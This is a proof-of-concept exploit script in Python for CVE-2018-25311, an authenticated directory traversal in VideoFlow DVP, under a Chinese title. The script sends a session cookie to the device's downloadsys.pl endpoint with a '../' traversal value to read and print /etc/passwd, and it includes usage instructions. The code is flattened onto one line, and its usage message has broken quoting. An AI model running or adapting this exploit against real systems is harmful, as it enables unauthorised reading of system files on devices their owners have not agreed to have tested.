CVE-2018-25311 VideoFlow DVP 认证后目录遍历漏洞

#!/usr/bin/env python3 # PoC for CVE-2018-25311: VideoFlow DVP Authenticated Directory Traversal # Usage: python3 poc.py <target_url> <session_cookie> import requests import sys def exploit(target, cookie): # Vulnerable endpoint mentioned in advisory url = f"{target.rstrip('/')}/downloadsys.pl" # Directory traversal payload to read /etc/passwd payload = { "ID": "../../../../../../../../etc/passwd" } # Headers with authenticated session cookie headers = { "Cookie": cookie, "User-Agent": "CVE-2018-25311-Scanner" } try: print(f"[+] Sending request to {url}...") response = requests.get(url, params=payload, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! /etc/passwd content:") print(response.text) else: print("[-] Exploit failed or file not found.") print(response.text[:200]) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} http://target-ip "SESSION_ID=xxxxxx"") sys.exit(1) exploit(sys.argv[1], sys.argv[2])